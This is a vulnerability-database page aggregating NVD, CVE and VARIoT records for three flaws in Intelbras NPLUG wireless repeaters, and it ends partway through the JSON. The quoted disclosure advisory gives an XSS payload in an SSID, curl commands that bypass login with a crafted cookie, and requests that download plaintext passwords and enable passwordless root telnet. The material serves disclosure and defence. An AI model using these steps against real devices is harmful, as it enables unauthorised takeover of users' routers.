Vulnerability-Lookup - Search a vulnerability

Vulnerability from fkie_nvd

Published

2018-10-10 21:29

Modified

2024-11-21 03:45

Severity ?

8.8 (High) - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access.

References

▼	URL	Tags
	cve@mitre.org	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory
	af854a3a-2127-422b-91ae-364da2661108	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory

Impacted products

	Vendor	Product	Version
	intelbras	nplug_firmware	1.0.0.14
	intelbras	nplug	-

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:intelbras:nplug_firmware:1.0.0.14:*:*:*:*:*:*:*",
              "matchCriteriaId": "F57C7CE2-0811-440F-84A8-7A3988CB7942",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "31AF436F-BAAA-4656-89C7-E63A62C1A7A0",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access."
    },
    {
      "lang": "es",
      "value": "Los dispositivos de repetidores inal\u00e1mbricos Intelbras NPLUG 1.0.0.14 no tienen protecci\u00f3n de tokens Cross-Site Request Forgery (CSRF) en la interfaz web, lo que permite que los atacantes realicen acciones como el cambio del SSID inal\u00e1mbrico, reiniciar el dispositivo, editar listas de control de acceso o activar el acceso remoto."
    }
  ],
  "id": "CVE-2018-12456",
  "lastModified": "2024-11-21T03:45:15.047",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "PARTIAL",
          "baseScore": 6.8,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 6.4,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": true
      }
    ],
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.0"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2018-10-10T21:29:01.337",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd

Published

2018-10-10 21:29

Modified

2024-11-21 03:54

Severity ?

6.1 (Medium) - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast.

References

▼	URL	Tags
	cve@mitre.org	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory
	af854a3a-2127-422b-91ae-364da2661108	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory

Impacted products

	Vendor	Product	Version
	intelbras	nplug_firmware	1.0.0.14
	intelbras	nplug	-

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:intelbras:nplug_firmware:1.0.0.14:*:*:*:*:*:*:*",
              "matchCriteriaId": "F57C7CE2-0811-440F-84A8-7A3988CB7942",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "31AF436F-BAAA-4656-89C7-E63A62C1A7A0",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast."
    },
    {
      "lang": "es",
      "value": "Los dispositivos Intelbras NPLUG 1.0.0.14 tienen Cross-Site Scripting (XSS) mediante un SSID manipulado que se recibe por medio de una transmisi\u00f3n de red."
    }
  ],
  "id": "CVE-2018-17337",
  "lastModified": "2024-11-21T03:54:14.960",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "MEDIUM",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "confidentialityImpact": "NONE",
          "integrityImpact": "PARTIAL",
          "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": true
      }
    ],
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.0"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2018-10-10T21:29:02.320",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Vulnerability from fkie_nvd

Published

2018-10-10 21:29

Modified

2024-11-21 03:45

Severity ?

8.1 (High) - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using "admin:" as the name of a cookie.

References

▼	URL	Tags
	cve@mitre.org	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory
	af854a3a-2127-422b-91ae-364da2661108	http://seclists.org/fulldisclosure/2018/Oct/18	Exploit, Mailing List, Third Party Advisory

Impacted products

	Vendor	Product	Version
	intelbras	nplug_firmware	1.0.0.14
	intelbras	nplug	-

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:intelbras:nplug_firmware:1.0.0.14:*:*:*:*:*:*:*",
              "matchCriteriaId": "F57C7CE2-0811-440F-84A8-7A3988CB7942",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        },
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*",
              "matchCriteriaId": "31AF436F-BAAA-4656-89C7-E63A62C1A7A0",
              "vulnerable": false
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ],
      "operator": "AND"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using \"admin:\" as the name of a cookie."
    },
    {
      "lang": "es",
      "value": "Los dispositivos de repetidores inal\u00e1mbricos Intelbras NPLUG 1.0.0.14 tienen una vulnerabilidad cr\u00edtica que permite que un atacante se autentique en la interfaz web solo empleando \"admin:\" como nombre de la cookie."
    }
  ],
  "id": "CVE-2018-12455",
  "lastModified": "2024-11-21T03:45:14.893",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "HIGH",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "NONE",
          "availabilityImpact": "COMPLETE",
          "baseScore": 9.3,
          "confidentialityImpact": "COMPLETE",
          "integrityImpact": "COMPLETE",
          "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
          "version": "2.0"
        },
        "exploitabilityScore": 8.6,
        "impactScore": 10.0,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": false
      }
    ],
    "cvssMetricV30": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.0"
        },
        "exploitabilityScore": 2.2,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2018-10-10T21:29:01.163",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-287"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

CVE-2018-12455 (GCVE-0-2018-12455)

Vulnerability from cvelistv5

Published

2018-10-10 21:00

Modified

2024-08-05 08:38

Severity ?

CWE

n/a

Summary

Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using "admin:" as the name of a cookie.

References

▼	URL	Tags
	http://seclists.org/fulldisclosure/2018/Oct/18	mailing-list, x_refsource_FULLDISC

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T08:38:05.954Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
            "tags": [
              "mailing-list",
              "x_refsource_FULLDISC",
              "x_transferred"
            ],
            "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2018-10-08T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using \"admin:\" as the name of a cookie."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-10-10T20:57:01",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
          "tags": [
            "mailing-list",
            "x_refsource_FULLDISC"
          ],
          "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2018-12455",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using \"admin:\" as the name of a cookie."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
              "refsource": "FULLDISC",
              "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2018-12455",
    "datePublished": "2018-10-10T21:00:00",
    "dateReserved": "2018-06-15T00:00:00",
    "dateUpdated": "2024-08-05T08:38:05.954Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2018-17337 (GCVE-0-2018-17337)

Vulnerability from cvelistv5

Published

2018-10-10 21:00

Modified

2024-08-05 10:47

Severity ?

CWE

n/a

Summary

Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast.

References

▼	URL	Tags
	http://seclists.org/fulldisclosure/2018/Oct/18	mailing-list, x_refsource_FULLDISC

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T10:47:04.327Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
            "tags": [
              "mailing-list",
              "x_refsource_FULLDISC",
              "x_transferred"
            ],
            "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2018-10-08T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-10-10T20:57:01",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
          "tags": [
            "mailing-list",
            "x_refsource_FULLDISC"
          ],
          "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2018-17337",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Intelbras NPLUG 1.0.0.14 devices have XSS via a crafted SSID that is received via a network broadcast."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
              "refsource": "FULLDISC",
              "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2018-17337",
    "datePublished": "2018-10-10T21:00:00",
    "dateReserved": "2018-09-22T00:00:00",
    "dateUpdated": "2024-08-05T10:47:04.327Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2018-12456 (GCVE-0-2018-12456)

Vulnerability from cvelistv5

Published

2018-10-10 21:00

Modified

2024-08-05 08:38

Severity ?

CWE

n/a

Summary

Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access.

References

▼	URL	Tags
	http://seclists.org/fulldisclosure/2018/Oct/18	mailing-list, x_refsource_FULLDISC

Impacted products

	Vendor	Product	Version
	n/a	n/a	Version: n/a

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T08:38:05.688Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
            "tags": [
              "mailing-list",
              "x_refsource_FULLDISC",
              "x_transferred"
            ],
            "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "datePublic": "2018-10-08T00:00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-10-10T20:57:01",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
          "tags": [
            "mailing-list",
            "x_refsource_FULLDISC"
          ],
          "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2018-12456",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Intelbras NPLUG 1.0.0.14 wireless repeater devices have no CSRF token protection in the web interface, allowing attackers to perform actions such as changing the wireless SSID, rebooting the device, editing access control lists, or activating remote access."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "20181008 Multiple vulnerabilities in NPLUG wireless repeater",
              "refsource": "FULLDISC",
              "url": "http://seclists.org/fulldisclosure/2018/Oct/18"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2018-12456",
    "datePublished": "2018-10-10T21:00:00",
    "dateReserved": "2018-06-15T00:00:00",
    "dateUpdated": "2024-08-05T08:38:05.688Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

var-201810-0951

Vulnerability from variot

Intelbras NPLUG 1.0.0.14 wireless repeater devices have a critical vulnerability that allows an attacker to authenticate in the web interface just by using "admin:" as the name of a cookie. Intelbras NPLUG Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Intelbras NPLUG is a wireless relay device of Polish Intelbras company.

Intelbras NPLUG has an authorization issue vulnerability. Attackers can use this vulnerability to bypass authentication. =====[ Tempest Security Intelligence ]=====================================

Multiple vulnerabilities in NPLUG wireless repeater

CVE-2018-12455: Authentication bypass CVE-2018-12456: Multiple CSRF CVE-2018-17337: XSS via SSID

Author: - Patrick Costa < @patrickrbc > Tempest Security Intelligence - Recife, PE - Brazil

=====[ Table of Contents ]=================================================

Overview
Detailed description
Affected versions & Solutions
Timeline of disclosure
Thanks & Acknowledgements
References

=====[ Overview ]==========================================================

System affected : NPLUG wireless repeater [1]
Version : 1.0.0.14
Impact : An attacker can get root access on the device.

=====[ Detailed description ]==============================================

DISCLAIMER: This device uses a modified Tenda firmware [2]. Most of the vulnerabilities disclosed here were previously published regarding other similar device, besides that this device is pretty old.

NPLUG wireless repeater has multiple vulnerabilities that can be combined to get a root access on the device.

The first thing you can do to obtain access to the device is to exploit a XSS in the web interface (CVE-2018-17337). This can be exercised by placing an access point in an appropriate range from the device with a malicious SSID, e.g.:

<script src="[pwned]"></script>

If the user tries to scan for wireless networks using the web interface the XSS will pop and you're done. You can do all the stuff that will be described here.

But, what if the user never uses this feature? Well, NPLUG's web interface has no CSRF (CVE-2018-12456) protection, so you can try to force a connected user to activate WAN access or change wireless security settings.

Once you're inside NPLUG's network things became really easy. You can bypass the authentication just by setting a cookie named "admin:" (CVE-2018-12455).

Example:

  curl -I http://10.0.0.1/
  HTTP/1.0 302 Redirect
  ...

  curl -I http://10.0.0.1/ -H "Cookie: admin:="
  HTTP/1.0 200 OK
  ...

Now you have access to all the web interface features and you can download the config at http://10.0.0.1/DownloadCfg/RouterCfm.cfg containig passwords in plain text.

If that is not enough for you, you can activate telnet daemon by making a simple GET request to /goform/telnetd and guess what! Root access with no password.

Lately, I found out that this firmware had a binary that would work as the same backdoor previously reported for Tenda routers [3]. However, the service is not started by default and even when manually starting it, I couldn't exploit it for some reason. But there is not much need to do so.

=====[ Affected versions & Solutions ]=====================================

This test was performed against version 1.0.0.14 but previous versions are probably vulnerable.

=====[ Timeline of disclosure ]============================================

15/06/2018 - Vendor contacted. 04/07/2018 - Vendor requested time to verify. 22/08/2018 - Vendor replied they won't patch it.

=====[ Thanks & Acknowledgements ]=========================================

Felipe Xavier < filipe.xavier () tempest.com.br >
Gustavo Pimentel < gustavo.pimentel () tempest.com.br>
Tempest Security Intelligence [4]

=====[ References ]========================================================

[1] http://www.intelbras.com.br/empresarial/wi-fi/para-sua-casa/repetidor-de-sinal/nplug [2] http://www.tendacn.com/en/default.html [3] http://www.devttys0.com/2013/10/from-china-with-love/ [4] http://www.tempest.com.br/

Show details on source website

JSON

To clipboard

{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201810-0951",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "nplug",
        "scope": "eq",
        "trust": 3.0,
        "vendor": "intelbras",
        "version": "1.0.0.14"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2020-18626"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201810-543"
      },
      {
        "db": "NVD",
        "id": "CVE-2018-12455"
      }
    ]
  },
  "configurations": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/configurations#",
      "children": {
        "@container": "@list"
      },
      "cpe_match": {
        "@container": "@list"
      },
      "data": {
        "@container": "@list"
      },
      "nodes": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/o:intelbras:nplug_firmware",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2018-010954"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Patrick Costa",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "149730"
      }
    ],
    "trust": 0.1
  },
  "cve": "CVE-2018-12455",
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "MEDIUM",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 9.3,
